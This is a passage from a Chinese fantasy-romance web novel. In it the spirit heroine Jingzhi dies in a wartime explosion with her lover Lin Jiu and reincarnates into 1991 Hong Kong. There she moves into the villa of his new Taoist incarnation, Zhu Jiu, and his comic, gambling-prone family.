随着静之一声令下,有一个算一个,拿枪的拿枪,丢炸弹的丢炸弹,直接跟迎面而来的队伍,开始中门对狙。 小光那小子,准头极好,一骨碌又将一颗炸弹丢到人家坦克的铁履上。 坦克直接报废,气得里头的坦克兵把炮头对准他就发起了射击。 周边已无任何掩体。 小光躲都不躲,抄起激光枪就是一顿扫射,甚至还笑得肆意的对静之说: “老祖宗,有您做我的同桌,我能吹一辈子!” “就算现在死了,也值了!” “咻——” 结界波动了一瞬。 静之血气翻腾,她强行催动全身的灵气加固结界,将溢到喉头的血咽下。 “你小子!”她笑骂一句。 静之脸色的变化,被小光看在眼里,他静默了一瞬,走过来拿走林九身旁的一箱手榴弹,“老祖宗,当时,我应该把您给我的糖葫芦吃掉的。” “这辈子,我最后悔的事,就是这一件了。” 他将炸弹缠在身上,然后引燃一根,在静之惊恐的眼神中冲出结界。 “老祖宗!三八线!我已经擦干净了!” “下辈子,希望您还来做我的同桌!!” “轰!!!” 坦克连带着旁边十几个士兵,以及那个就爱打小报告的傲娇小屁孩,一同消失在漫天火海里。 “……你是笨蛋吗?” 静之红着眼眶看向她不远处的大坑。 她甚至认不出来,哪一块焦黑的身躯,才是那个小小少年的。 他的头发已经被炮灰染得焦黑。 抱歉,老祖宗无能,没护好你。 “阿九,好了吗?” 她不能再失去更多了。 “好了。” 上古传送阵,本应至少三人同启。 林九硬是一个人开启了通道,他的脸色比静之的还差。 “可以叫他们过来了。” “你们都过来!” 静之朝站在不远处的几人招手。 “不要!光弟弟都这么有种,我做大哥的也不能输!” “是啊!老祖宗,你不是说要战吗?我们陪您战到最后!” 静之闭了闭眼,第一次暴露真身,将尾巴露了出来,卷住那几个不听话的小孩丢进传送阵里。 “九哥,传送阵另外一头是哪里?” 林九:“没有危险的地方。” “轰!” 又是一炮。 静之实在憋不住,一口血喷了出来。 林九赶紧扶住她的身子,“之之,结界收回来吧。” 她摇了摇头,背对着大军,问林九: “你卜卦的时候,是不是早就看到这一幕了?” “……是。” 她伸手抹去他嘴角的血迹,“那你应该知道,我此刻在想什么。” 枪林弹雨中,林九紧紧拥住她,“我不想知道,求你不要,自爆了,你就连魂都没有了。” 她最后一次靠在他的肩头,满足的长舒一口气,“阿九……太难了,抱歉,我没能让你寿终正寝……我想,最后再护你一程。” 结界摇摇欲坠,且开始破裂。 静之操纵尾巴,圈住林九的腰身,把他往即将失去光芒的传送阵里甩去。 怎料林九早有预感。 他反手抓住她的尾巴,把她朝他的方向用力一拉。 “之之,休想离开我!” “哗!” 结界碎裂。 一颗巨大的炮弹直击站在传送阵旁边的二人。 空气灼热到开始扭曲。 阵法仿佛受到影响,开始爆起亮光。 “九哥,你干了什么?” 林九把她的头掩回自己怀里,“别看,不过是一个大型爆破阵罢了。” …… “轰!!!” 整个山谷爆发出前所未有的震天轰鸣。 强大的冲击波摧枯拉朽席卷了一切。 这里哪里还有什么大军。 这里,连个活物皆无。 …… 翻越那座山,还有人在笑着等我吗? 之之,抱歉。 我也没能护好你。 原谅我这一次…… 第244章 她被当成偷渡客 静之躺在一片虚无中,眸子里尽是悲凉,久久回不过神来。 【金童:……你要不缓缓再穿越?】 静之沉默了许久,才哑着嗓子问: “金童,这辈子,我没能让他寿终正寝,幸福的死去,我是不是失败了?” 【金童:你怎么知道,跟你一起死在一起,他不是幸福的呢?】 她翻了个身,侧躺着蜷成一团,“可我不想让他这样死,他才45岁。” “我……我心疼他。” 【金童:静之姐姐,在这个年代,人均寿命都不长的。而且,若是失败了,你的魂体应当是直接消散,而不是回到这里。】 “……这是哪里?” 以前林九一死,她都是直接穿的,连缓口气的时间都没有。 【金童:你和林九上辈子确实攒了很多功德,这里算是天道赐给你的穿越中转站吧,你可以休息到想去下一个世界为止。】 他幻化出一根棍子,戳了戳静之的背,【你不想看看天道还给你什么吗?】 “还给我什么?” 她一转回头,看到金童的那一刻,忍不住问一句: “老实交代,你是不是偷我功德了?” 眼前的小金变成了小金人,浑身亮闪闪的,连那张小圆脸都跟镀金了一样,看着有些刺眼。 【嗐,我这都是蹭的,你怎么不看看你自己。】 她身子一软,又瘫了回去。 “不看,我累了。” 身心俱疲的那种。 滚烫的泪水滑落脸颊。 她知道,是她脖间带着的小玉猫上头的防护阵救了她一命。 可他,连捧骨灰都没留下。 他该有多痛。 中转站里突然响起她的啜泣,金童叹了口气,控制身后那些天道留给她的东西飘到她面前。 她的铃铛,林风给她做的簪子,二娣买给她的玉簪和染发剂,第一世林九给她手搓的各色饰品和那个荷包,第二世林九给她做的镇纸。 但凡是比较有特殊意义的东西,天道都准许留那么一两样下来。 静之用力眨去眼里的泪水,缓缓坐了起来。 纤手上抬,她的指尖轻轻抚摸着她脖间的小玉猫,视线一一掠过他送她的这些礼物。 最终,定格在那方小静之镇纸上。 上头被她用银丝焊上去一个背着桃木剑的小玉九。 她放开玉猫,将指尖轻轻搭在小玉九的脸上。 “九哥……我好想你……” 金童欲言又止,他拿礼物过来给她看,可不是想要又让她哭出来的呀。 【金童:……你想他的话,何不现在就穿越去呢?】 静之没理他。 她站了起来,双手合十,昂首对着顶上那片虚无祈求: “天道大大,能不能用我的功德,让林九下辈子去到一个和平的世界,让他舒舒服服过一辈子,别再受苦了?” 小金都想过去捂她嘴了。 攒点功德容易吗?真的是。 突然,虚空之中,一道庄重的梵音响起: “可。” 金童眼睁睁看着静之身上的亮光黯淡了一点。 下一秒,地上那些玩意儿连同着他眼前站着的女人,瞬间消失得无影无踪。 得,她还是想他的,哭完一场,就迫不及待去找他了。 …… 唔,怎么一晃一晃的。 静之睁开眼睛,就发现自己好像在一辆大卡车里。 后车厢里装着许多箱子和蛇皮袋。 感情这是一辆帮人搬家的车? 那她现在怎么下去? 周围用深绿色的油布围得密不透风,两辈子都没听到的鸣笛声和车流穿梭声让她莫名的怀念。 静之幻化出爪子在油布上戳了一个小孔。 手指抽回去后,汽车尾气跟凉风一同灌入。 唉,空气不好这点,是真的难忍。 她皱了皱眉毛,还是将眼睛安在孔上。 哇,高楼大厦,路人身上穿的牛仔短裙,闪烁着霓虹灯的卡拉ok灯牌! 她甚至都以为她穿回林风的时代了。 正当她看得聚精会神的时候,车辆缓缓停了下来。 车门开了。 有人从前面车头位置下车。 卡车有些长,静之眼睛都要瞥歪了,都没瞥到那个人长什么样。 只知道卡车停在了一栋三层白色别墅门前。 “二叔,多亏了你上次帮我,喏,小小谢礼,不成敬意,您就收下吧。” “唉,你太客气了。” 九哥的声音? 静之的双眸噌的一下突然亮起。 她来到车尾亮出爪子,“撕拉”一声,将围布割开了一个四方形的小口子。 然后偷偷钻了出来。 前头的二叔动了动耳朵,锐利的双眼不着痕迹的看着车后轮旁边的双脚。 灰色绣鞋? 这么脏,不会是偷渡客吧? 还有,都这年代了,除了他这种老古董以外,还有人会穿这种老中式衣服吗? 司机突然从车窗里伸出头,笑着指向别墅,“二叔,你这么有钱,建这么大一栋别墅啊?” 二叔收回眼神,对他笑了笑。 “是我死去的老爸留给我的,现在我和我弟弟,还有我侄儿在住。” “哦,那就不打扰您休息了,我先走喽!” 一脚油门踩下,车辆渐渐远去。 二叔眼睁睁的看着一道灰白色的身影跟见不得光似的,着急忙慌的左闪右躲。 最后,将就躲在他家围墙旁边的盆栽后头。 那张脸,沾满了灰尘和血污,一双灵动的眼睛完全不敢与他对视,躲躲闪闪的。 这让二叔更加笃定她的来历——偷渡客。 他又不是警察,又不会抓她,她躲什么哦。 偷渡客嘛,不过就是为了讨生活,才来的港区,也是怪可怜的。 …… 刚刚静之瞄了一眼这个叫二叔的家伙。 只一眼她就确认了,这是她的九哥。 只是她仍保留着上辈子爆炸前的那副穿着,身上也脏得可以,她怎么可以就这般与他相见呢。 偏偏这个位置是巷尾,她连个躲的地方都没得。 “你……要不要进来洗个澡吃个饭再说?”二叔难得对别人扯出个笑脸。 静之的眼圈不争气,一下就红了起来。 他还是这么容易心软。 “我……我想洗澡。” 静之磨磨蹭蹭的从盆栽后站起身,走了过来。 离二叔三步远,她就停下来了。 她身上的味道可不好闻,土腥味和鲜血的味道并存。 二叔礼仪点满分,他面上没有半分嫌弃,反而不由分说的拿起她的手腕,就开始把脉。 “请恕我逾越,你嘴角带血,我帮你看看怎么回事。” 指尖碰触到她的那一刻,两人皆是浑身一抖。 二叔:她抖就算了,女孩子难免会害怕男人,他自己抖什么…… 静之:被他碰到了被他碰到了被他碰到了被他碰到了……不管,他要娶我! 静之含情脉脉的眼神,让二叔有些招架不住。 把完脉后,他立刻放开她的手,后撤一步,眼神躲闪的人变成了他。 “咳,你有点内伤,需好好养养,否则容易落下病根的。” 静之委屈巴巴的看着他,从脖间摘下来她的小玉猫交到他手上。 “这位……” “我叫朱九,家里排行老二,按你的年纪,你可以叫我九叔,或者二叔。” 嘁,按年纪,他可以叫她之奶奶。 “二叔!”她脆生生的叫了一声,“我没地方去,如今身上没带钱,可否收留我一段时间,这个玉猫,就当做是我的租金。” 二叔捏着手中的玉猫,隐隐能感觉到玉猫上阵法的灵气波动。 他略带惊讶的看着眼前的女人一眼,“你也是道门中人?” 也? 这世,他依然修道吗? 他可真是执着。 “不是,这是我……前男友送的。” 他说呢,怎么这么随便就送人,原来是前男友的东西。 也罢,上面的防护阵感觉甚是玄妙,他可以研究研究。 二叔腆着脸收下玉猫,执起手中的黑伞指了指这条小道的拐角处,“这是后门,我们从正门进去吧。” “好!我帮你提!” 静之狗腿的接过他手中的果篮,朝他笑了笑。 看到他立马别过眼后,渐渐红起来的耳朵,她不禁心生感叹。 这辈子看起来挺严肃的,没想到他还是这么纯情。 但是,马上就要进入九哥……呸,二叔的家啦!兴奋ing~ …… 第245章 登门入室 “哇,好多人啊。” 刚一拐角,就看到这座别墅的大门口大排长龙,人都要排到马路上去了。 朱九刚出完差回来,一看这架势,就知道是他弟弟跟侄儿又开始搞事了。 他拍了拍队伍最后头男人的肩膀,“请问你们在这儿干什么?” 男人回头看了他一眼,“我们来见赢钱专家呀。” “赢钱专家?”朱九眉心一跳,恨不得把两个衰仔暴揍一顿。 正事不去干,整天就琢磨着做什么赌神。 十赌九输,难道他们两个不知道吗? “哦,让让,这我家,让我先进去。”朱九说。 刚说完,一溜儿的人以为他要插队,纷纷对他竖起了个友好的手势。 静之扯了扯他的后摆,“二叔,要不……从后门进也行。” 真凄惨。 一来就看到她家阿九被人家竖中指。 被一小姑娘看了笑话,朱九面子上也有些过不去,一张严肃的脸拉得老长。 “嗯。” 他低低应了一声,原路返回,来到后门处。 按了八百回门铃,那两个聋子就是没听着。 林九咬着后槽牙,恨不得冲进去,一人捶他们个八百回。 他手中的行李都没放下,往后退了几步,然后一个冲刺,三两下跃过围墙跳了进去。 刚给静之打开门,却发现她跟着从墙头跃了进来,正正好好跳在他的身后。 这女人……不愧是偷渡客,爬墙挺专业啊。 “哐。” 铁门被他合上,朱九有意要惩罚一下两个兔崽子。 于是转头朝静之嘘了一声,又指了指二楼。 静之秒懂,她做了个往嘴上拉拉链的动作,然后一脚踩到一楼窗台的铁栏杆上,像个猴儿一样,一溜烟就爬到了二楼阳台,并无声朝楼下的他招着手。 朱九(无语中):……她该不会不是偷渡客,是小偷吧? 静之憨批挠头。 她一脸无辜的朝他做着口型: 【快上来!这里有人!】 朱九上来后,就看到静之猫在发财树后头,暗戳戳偷窥屋里头的人。 他放轻脚步走到她后头,轻轻掀开虚掩着的窗户往里看去。 果然,那两个不成器的东西,正拿着他画的符纸要帮人家改运。 正经道术没学几招,就会拿这点偷鸡摸狗的伎俩来骗钱! 他紧抿着嘴,往地上铺了一张黄符,然后接过静之手中的果篮,用里头的水果摆出一张人脸。 “你做什么啊?” 她蹲了下来,小小声问,剔透的眼里尽是好奇。 朱九看了她一眼,心道拥有这双眼睛的人,怎么样都不会去做贼吧…… “让你见笑了,不给他们一点教训,我看他们以后还会胡来。” 他小声回复,然后把代表五官的各色水果一通移位。 静之看得云里雾里,听到里面哇的一声后,她赶紧探头过去看。 噫~ 一位穿西装的大哥,耳朵长在鼻子的位置,鼻子则跑到脸侧去了,眼睛一只在上面,还有一只跑到嘴巴的位置上。 她啪的一下,赶紧捂住眼睛。 不能看,比僵尸还辣眼睛! …… “你看看,像不像赌神啊?” “像像像。” “像就交钱吧!” …… 直到屋里的对话消停下来,静之戳了戳朱九的后背,“喂,他这么下去,等会发现了,会不会打电话报警啊?” 朱九环着胸,懒洋洋的靠在栏杆上,看着楼下把一众赌徒吓晕过去的“赌神”,慢悠悠的说: “不过是个障眼法,一刻钟后,他就恢复正常了。” 说罢,他抬脚便往屋里走去。 “二叔,等等我!” 朱九的弟弟叫朱八。 他也不知道他老母为什么要这么取,不过他大概可以猜得到。 从他二哥会说话,自己说要叫阿九时,他就只能根据长幼顺序,被取名朱八了。 朱九的侄子叫朱祥奋,是个戴眼镜的小胖子。 此时两人正数着手里的钞票分着赃,突然从旁边伸出一只大手,把钱夺了过去。 阿祥眼疾手快伸出两指,“我插你!” 朱九一脸冷漠,“你要插谁?” 阿祥两指瞬间缩了回去,刚刚面对客人的嚣张气焰呲的一声,灭了个干干净净。 “二叔,你什么时候回来的,怎么不说一声?” 朱九白了他一眼,“我刚刚后门的门铃都快按爆了,你们没听到吗?” 阿祥挠着后脑勺笑着说,“哦,后门的门铃啊,早就坏了,还没来得及修。” 他眼巴巴的看着朱九手里的钞票,腆着个大脸说:“二叔,你把钱给我,我去叫师傅来修。” “使这种下三滥的手段赚来的钱,你别花在我这别墅上,我怕坏了风水。” 他眯起眼看着缩成鹌鹑的两人,问: “破坏家规该怎么做?” “二哥……”朱八欲言又止。 让他在大侄子面前打自己的脸,多丢面子啊。 “嗯?” 这辈子的朱九,冷眼依旧十分好使。 朱八和阿祥不敢再多说话,啪啪啪开始抽自己的脸。 “好了,六下。” 朱九满意的点点头,“嗯,至于这钱……” 阿祥无奈的耸了耸肩,“那就捐给福利院吧。” “福利院?”朱九跟变戏法似的,捏着钱左右晃动几下,手中的钱不知不觉间已经不见踪影。 阿祥顿感神奇,甚至伸头过去掏一掏朱九胸前的口袋,“二叔,钱呢?” 静之看着被塞到自己手里的钱,有些莫名其妙。 “我用五鬼运财法捐给福利院了,你们就别想了,都给我安分点。”朱九一手背在身后,一手拍掉阿祥在他胸前乱动的手。 “二叔,不义之财,我也不想要。” 静之凑到他耳边,悄悄说了一句。 朱九有些诧异的侧头看了她一眼。 是个好女人,但是与人相处时有些没有分寸,靠这么近做什么? 朱九默默后撤一步。 “二哥,她谁啊?”朱八问。 脏脏臭臭,他二哥是从垃圾堆里捡了个乞丐回来吗? ”我是……租客啦,租金已经给了二叔。” 阿祥和朱八眼里的嫌弃她看得出来。 静之抿了抿嘴,转头问朱九:“二叔,我想洗个澡。” 朱九张了张嘴,还没说话呢,阿祥立刻接话:“你去二楼洗!” 朱八疯狂摆手,“你去三楼洗吧!” 谁带回来的人,就去谁住的那一层洗! “哼!” 没礼貌。 朱九剜了他们两个人一眼,对静之说:“跟上。” 他从阳台门走了进去,带着静之往右侧的楼梯口往上走,边介绍道: “一楼是我侄子阿祥住的,二楼是我弟弟在住,三楼我一个人住,他们两个平时就喜欢搞一些……无厘头的事情,你没事少下去。” “请问你……” 静之笑着朝他伸出手:“我姓林,叫静之,安静的静,之前的之。” 朱九看着那只沾满血污的手,实在握不下去。 “我说小林啊,你带没带衣服?” 话刚说出口,他就觉得自己问了句废话。 这个女人啥行李都没带,能有衣服吗? “算了,你来我房间一下。” “……好。” 静之莫名兴奋。 阿九邀请她去他房间了诶! 三楼与二楼现代化的装潢略有不同。 墙上挂着的都是山水字画,楼梯右侧的客厅摆着神像和神台,神像侧边,是两只交叉悬挂的宝剑。 而他的房间以灰色和暗黄色为主。 灰色的窗帘,灰色的床单,暗黄色的被套,原木色的书桌放在床边,床靠墙的里侧,是一个大大的原木色推拉门衣柜。 窗户伸出去的小阳台旁边还挂着一幅长长的字画,上头写着个龙飞凤舞的“静”。 70厘米左右高度的小阳台上面放着一个原木色的小几,跟一个米色的蒲团。 阳光透过玻璃折射到“静”上,她甚至能够看清那字上面的微微凹陷下去的纹理。 装潢简单,又带着几分超脱世俗的禅意,静之一度以为来到了哪处寺庙的禅房。 她往那个“静”上,多瞄了两眼。 “你自己写的啊?” 她的语气里莫名有一种期待。 朱九奇怪的看了她一眼,解释道: “是的,我修道,平时打坐的时候对着它,能提醒我静心凝气。” “……哦。”期待落空,她的语气变得失落。 朱九有些摸不着头脑,他拉开衣柜门,从里面找出了一套全新的白色中式练功服,还有新毛巾。 “呐,给你,以后你就住我隔壁好了,楼上房间少,但是还算是比较大的,屋里也都有卫生间,你洗完后就休息会儿吧,等我空了,再过去给你把把脉,帮你治你的内伤。” “……谢谢。” 看完他生活的环境后,静之心满意足的去了他隔壁房间。 看来天道大大没骗她,这辈子,他的生活环境是前所未有的好呢…… 第246章 家训很多的朱家 隔壁房间虽久未有人居住,好在朱九有洁癖,收拾得很干净。 和朱九房间的布局一样,就是没有床单被褥,还有墙上的挂画。 现在整个房间里最脏的就是她了,静之也不敢到处乱碰,进门后径直右拐,打开白色的卫生间门。 当然,这是她这么认为的。 门刚一打开,没想到她就和坐在床上的朱九直接对上视线。 朱九被她吓一跳,他的手背在身后,玉猫被他紧紧攥在手里。 他轻咳一声说:“忘了告诉你,这个门是连接两个这房间的,平时没事,我会锁上的,你放心。” 放心?放什么心? 这个装修她可太爱了。 这样的话,半夜的时候她就可以…… “你……笑什么?”朱九有些迷茫。 此刻的他,还不知道静之是只爱捣蛋的猫猫。 静之收起笑容,眼睛睁得圆溜溜的,脚一步一步的往左边的门那边撤,“我有笑吗?我没笑啊!我去洗澡了!” “咔嗒。” 真正的卫生间门被迅速关上。 朱九抿了抿嘴,快步走过去,关上那个老王专用通道,然后拧住门把上的锁。 站在卫生间门后的静之闭了闭眼。 没事的,没事的!没事哒!! 这才第一天,林静之你要支楞起来! …… 朱九锁好门后,松了口气,走到离门最远的地方——飘窗,他扯过蒲团坐了下来,边翻书,边研究起了阵法。 这阵法当真玄妙,看来她的前男友是真心爱她的,不然怎会取自个儿的精血绘制阵法呢。 那为何……又要分手呢? 朱九渐渐歪楼。 小几上的香炉已不再有烟冒出,空气里残留的檀香渐渐变得浅淡。 一壶茶水也已经失去了温度。 洒进屋内的阳光由金色变成了橘红色。 朱九的腿边散落了好几张他手绘出来的阵法图,每一张都略有瑕疵。 朱九不满意。 此时他正伏在桌上,专心致志的重新绘制。 若是有了这个阵法,再加以改进放大,他就可以布在别墅四周了。 这辈子的朱九对这类防护型阵法,和房子的防护措施有着一种莫名的执念。 修复,完善,改进。 玄学加科学。 不知道的,还以为他要整艘航母出来呢。 朱九也不明白他为什么会有这种执着。 这种执着生来就有,仿佛是要弥补某种深入骨髓的遗憾…… …… “哇!靓女你是从哪儿来的,怎么在我家?” “什么?!你是三楼的租客?看不出来呀。” “嘿嘿,要不要住二楼啊?三楼我二哥天天烧香打坐,很无趣的,二楼有个放映室,我请你看电影啊!” 朱九不喜欢门窗紧闭,此时微微开了一条缝通风的窗户外,传来了他三弟谄媚的声音。 朱九额头青筋直跳。 刚刚看人家脏, 对人家避犹不及,现在又上赶着巴结她,翻脸比翻书还快! 朱九放下笔,推开窗户,头刚伸出去想臭骂那个不要脸的弟弟一顿,却被站在泳池旁的白色身影晃了神。 一眼万年。 他本来以为这个词不过是虚话,是好色之徒贪图美色,从而创造出来的词语。 现在他这才发现,除此之外,再没有什么词能够准确形容他此刻的心情。 她身上的衣服是他平时穿的款式,也许是因为有些热,长长的袖子被她叠了几层挽在手弯处,从而露出了她被夕阳镀上一层暖黄色的纤细手腕。 她及腰的长发此时仅用一根簪子,有些随意的盘在脑后,微湿的细碎发丝在她两颊处因着微风轻轻拂动着。 似是发现了楼上的他,她纤细的手指搭在眼上,被余晖染上一层暖光色的剔透眸子,朝他笑得弯弯。 朱九指尖一紧,指甲抠过金属的窗框,发出一声难听的噪音。 这美好的一幕仿佛变成一颗石子,咚了一声轻响,落入了他常年心如止水的心湖,荡起了阵阵波纹。 “二叔,你忙完啦?下来吃饭呀,我做好饭了!” 饭? 他没叫她做饭啊。 “三弟!” 早在朱九把头伸出来时,朱八就收起了他的猪哥样,妄图把他粗壮的身躯龟缩在游泳池旁的路灯后,大气都不敢出。 此时听到他二哥略带怒气的叫声,他连忙摆手,“不关我事啊,她洗完澡就直接来一楼做饭了,我拦都拦不住!” “……你们等着。” 朱九把头缩了回去,静之默默放下手,看向朱八,“等着?他什么意思?” 朱八耸了耸肩,“我二哥一向严肃,你别乱动别墅里的东西就没事了。” 他看了静之姣好的面孔一眼又一眼,实在忍不住,越凑越近,“话说,你真的不来二楼住?我二哥那个人的性格,又臭又硬,很难相处的。” “家规第三条!” 朱八脊背一紧,赶紧远离静之,双腿一并立正站好,大声说: “不许背后说人坏话。” 朱九缓缓走了过来,冷眼看着他,“还不行动?” 朱八抖了一下,啪啪啪开始打自己的嘴。 “好了二哥,六,六下。” 骗钱扇脸,说坏话扇嘴。 朱家的家规这么严格的吗? 看着嘴巴肿起来的三叔,静之叹了口气,做个好心人转移话题: “进去吃饭吧?不然菜都凉了。” “嗯。”朱九沉声回应,背着手边往一楼饭厅走,边跟她说: “你付了租金的,不需要你来做饭。” “今日十五,保姆休息,明天她就来了,你要吃什么可以跟她说。” 呦,她家阿九出息了,不仅住上了大别墅,还有保姆了。 她说他家里怎么这么干净。 静之眉尾微微一扬,“行,不过今天这顿饭,是为了谢谢你收留我的。” 她想了想,从口袋里掏出刚刚朱九塞给她的钱还给他,“我真不要你的钱,你包饭的话,等我出去找份工作,有了工资,我再来给你交伙食费呀。” 朱九停住脚步,捏着手里的钱,一时不知道该拿它怎么办。 他略作思索,做了几个手势后,那钱当真消失不见了。 静之惊得瞪大双眼,围着朱九库库转了好几圈,“二叔,这回真不是变戏法啊?!” 他微微扬起下巴,略带傲娇的说: “五鬼运财法,不是说笑的。” 中午的时候,以为她可能不会留下,想着给她留点路费而已。 “你真厉害!” 朱八推开落地玻璃门,从外头走了进来,一脸自豪加狗腿的朝朱九竖起大拇指: “不是我在吹啊,我二哥的道术可是我朱家这几代人里面最顶呱呱的那个!” 静之学着他的样子,转身朝朱九竖起大拇指,“棒!” 朱九紧了紧手,步伐生风,有些轻快的走到饭桌旁坐下。 此时阿祥正坐在桌旁,看到朱九坐下了,他迫不及待的说: “二叔,快吃饭吧,我要饿死了。” 静之调笑着说:“你饿你就吃呀,叫他吃饭你是能饱吗?” 阿祥抬起头可怜巴巴的看着她,余光却是偷摸往她座位旁边的朱九瞥去。 “朱家有训,长辈先动筷,我们才能吃。” 朱九指尖微动,暗暗瞪了阿祥一眼。 在客人面前这么说,多没礼貌,人家不敢吃了怎么办? 朱九唇线微微往上一扯,朝静之礼貌一笑,“吃吧,你别听他瞎说。” 朱八默默坐到阿祥旁边,凑到他耳边小声哔哔:“二哥多久没笑过了?” 阿祥:“应该是三个月吧。” 朱八暗暗摇头,“我看不止,从开春到现在6月了,我都没见他笑过。” “咳咳,你们两个,等会吃饱了都给我上三楼来打坐修炼!”朱九唇线拉平,甚至微微下撇,有些不悦的训斥道。 真是越来越不成体统了,吃饭的时候还交头接耳的。 小的这样,老的也这样,哼! 第247章 你人机啊? 饭后,一老一小被朱九赶鸭子上架来到三楼打坐。 静之完全有理由认为他们三个,纯纯是在耍流氓。 打坐就打坐,那个手势又是什么鬼?! 只见朱九右手比起剑指,左手成圈,犹如宝剑插入剑鞘,就这般一套一套的,像极了某种运动。 她红着脸,两手捏住栏杆,眼神都不知道该往哪处放,给她尬的不行。 “你们臭不要脸!” 她嗫嚅着嘴,突然羞愤的骂道。 啪的一声,精准入鞘。 朱九睁开眼睛,对着右侧那个满脸涨得通红的姑娘,有些摸不着头脑。 不是……打个坐而已,怎么就臭不要脸了? 而且,她脸红个毛线。 “小林啊……” 静之一看他那清澈无垢的眼神,就知道他纯纯是个母胎solo的单身狗。 想一把将他供桌掀翻的心瞬间消停了下去。 脚尖碾了几下地面,静之有些别扭的走到他房间门口,小声说: “二叔,不是说帮我看内伤吗?再不看就该睡觉了。” “哦,抱歉,刚刚太专注,一时忘记了,走吧。” 什么太专注? 做刚刚那个鬼动作太专注? 静之刚消停下去的羞恼,腾的一下又开始上头,“你!哼!” 咋了这是? 朱九眼里尽是迷茫。 但是答应了人家要帮她看病,可不能言而无信。 就在她微微使了些力道把门甩上的时候,朱九一脚撑住差点拍到他脸上的门板,走了进去。 房门大敞着,孤男寡女共处一室,他可不能关门。 林九进入房间以后,走到窗前,“唰”的一声把窗帘大大敞开。 今晚这皎洁的月光,足以见证他的清白。 避嫌避到这份上,难免让静之产生了几分不悦的情绪。 她一屁股坐到飘窗上,把手腕朝上,搁在矮几上,淡淡说道: “麻烦您了。” 怎么突然变得这般冷淡?还用上敬语了? 女人真是难懂。 朱九脚步踌躇几下,还是走了过去…… …… 外头的叔侄俩剑指没有一回准确插入手里的,他俩忍不住又窸窸窣窣说起了小话。 朱八:“诶,赢钱专家这个点子,你二哥一回来,怕是用不了了。” 阿祥:“那怎么办?” 朱八:“明天就是出行的好日子,咱们去澳门!” 阿祥傻傻的问:“去澳门干什么?” 朱八暗暗看了一眼朱九大敞的房门,凑到阿祥耳边,捂着嘴说: “去澳门赌一把!” 阿祥捂着乱蹦的小心脏,摇了摇头,“不行,二叔说了不让我们赌的。” 朱八没好气的看了他一眼,“喂,你二十七了,我也快四十了,这房子是我死去的老爸专门留给我二哥的,你就不想赶紧赚点钱搬出去吗?” “而且,你女朋友不就是因为你一把年纪,还跟叔叔住在一起,所以不肯嫁给你吗?” “也是。”阿祥挠了挠头,“那你也要出本钱,不能回回都是我掏吧?” 他这个三叔,明明他爷爷也有给他留个大平层的,却被他早年造作完了,每回出门就知道坑他这个小辈的钱花! “好好好,一人一半!记住到赌场前,不许近女色,不许吃牛肉,不许说脏话!” 朱八指着他的鼻子交代。 “知道啦~” 阿祥掰下他的手指,忍不住撇了撇嘴。 回回都这么说,大平层都输掉了,也没见他赢多少钱。 …… 朱九的屋里,是死一般的宁静。 他专心致志,把完了左手,把右手,脸上的困惑越来越重。 而静之则是看着他身后那个大大的“静”字,正走着神。 静,宁静的生活,也是他上辈子想要的吧。 若不是她非要掺和那些事,或许,他就能够活久一些吧? 他的早亡,让一向想得很开的静之,开始钻起了牛角尖。 这辈子,她是不是不应该在掺和太多他的事了? 如今,他有钱有闲也有房,也许,她不应靠得太近。 “二叔……” “小林……” 几乎是同时,房间里响起了他们二人的声音。 静之犹豫不决,朱九倒是先说上了。 “不知是不是我中午的时候把错了,刚刚给你看完,觉得你的内伤好像正慢慢恢复,我看……还是先不吃药,再观察一两天看看?” “嗯。”她收回手,把袖子放了下来。 失去他的体温,静之的恋爱脑也慢慢冷却下来。 她朝他露出一枚礼貌而不失疏离的微笑,“我想明天就出去找工 作,一直在你这儿住不太好。” 朱九有些错愕,随即又了然的点了点头。 观她面相,就知她是一个倔强自立的人,想搬出去,他倒是没什么意见。 想了想,林九从墙上取下一个挎包,从包里拿了一些钱出来推到静之面前。 静之:“我不……” “先听我说完。”朱九抬手阻止,“既然你要搬走的话,我再收你房租就不合理了,这些钱,就当做是我买你这个吊坠的钱,你收下吧。” 如今是1991年,社会形势一片大好。 那个吊坠,如今她也用不上了,既然他这辈子依旧修道,那他肯定比她更需要防护型的法器。 静之顺水推舟,朝他点了点头,把钱收下了。 那些钱,只足够买她那块玉,上面的阵法才是稀罕物。 朱九有些不好意思这样占人家女孩子便宜,他抿了抿嘴说: “我们这别墅里有三个大男人,你住这儿确实不太方便,隔壁也是我的,你找到工作后,若是不嫌弃,可以搬过去那边住,平时有什么问题,都可以过来找我们。” “隔壁?” 这一片都是别墅区,隔壁不是跟他这儿差不多户型的吗? “我一个人而已,不用住那么大的。” 朱九朝她笑了笑,“没事,反正我平时也就是放着等升值,明天黄姨来了,我叫她过去把隔壁打扫一下。” 好家伙! 阿九这辈子是真富啊,这么大的别墅,一套放着一套住,她的愿是不是许得有点大了,功德不会被天道大大薅干净了吧? 【小金:哎呀,你就放心吧,功德这东西非常难得,在它面前,金钱这种俗物才是最没用的,你依旧还是那个小太阳。】 【静之:好的我知道了,你跪安吧。】 【小金:这个世界灵气平和,也没有僵尸,你要搬到隔壁去也行,记得选一间离神君最近的房间呀,上辈子修炼不了,这辈子你可要好好修炼了哦!】 【静之:好的我知道了,你跪安吧。】 【小金:……你人机啊?】 【静之:好的我知道了,你跪安吧。】 【小金:he~~tui~~~~~~】 【静之:小孩要讲究卫生,不要在我的识海里随地大小吐。】 第248章 呕心沥血的简历 夜半三更。 无心睡眠的静之终究还是来了。 那扇薄薄的白色木门根本挡不住她。 大大敞开的窗帘被轻轻带上,她小心翼翼的回头看了一眼,朱九睡得板板正正的,连眼皮都没有动一下。 她暗暗松了口气,几若无声的走到床边。 啥也不干,就这般用灼热的视线一寸一寸临摹着他的睡颜。 真好,自从上辈子开战以来,他什么时候睡得这般死过了。 整整四年,每每只要屋里或者外头有一点动静,林九准得醒过来。 多少个夜晚,他也是这般看着她入睡的。 静之唇线微微上扬,就这般看了他许久。 殊不知朱九此时放在被子下的手已经攥出汗了。 她要干什么??? 难道他看走眼了,她不是个独立自主的女人,而是个女流氓?? 被她盯住的每一秒都度日如年,就在朱九快要坚持不住的时候,她缓慢的呼吸声突然渐渐接近。 朱九呼吸一滞,浑身绷得死紧,五指张开,掌心向下,微微扣住床垫。 他想,只要她做出不规矩的动作,他肯定得从床上跳起来将她赶出去。 突然,他身上的被子被往上提了提,漏风的地方被她好好的压在他身侧。 朱九彻底僵住了。 她到底是什么意思? 难道她闲得直发慌,半夜不睡觉,过来抢黄姨的活,也想来当个照顾人的保姆?? 就在他胡思乱想的时候,呼吸声渐渐离他而去。 直到听到两面墙中间的门咔哒一声关上,朱九这才长长舒了一口气。 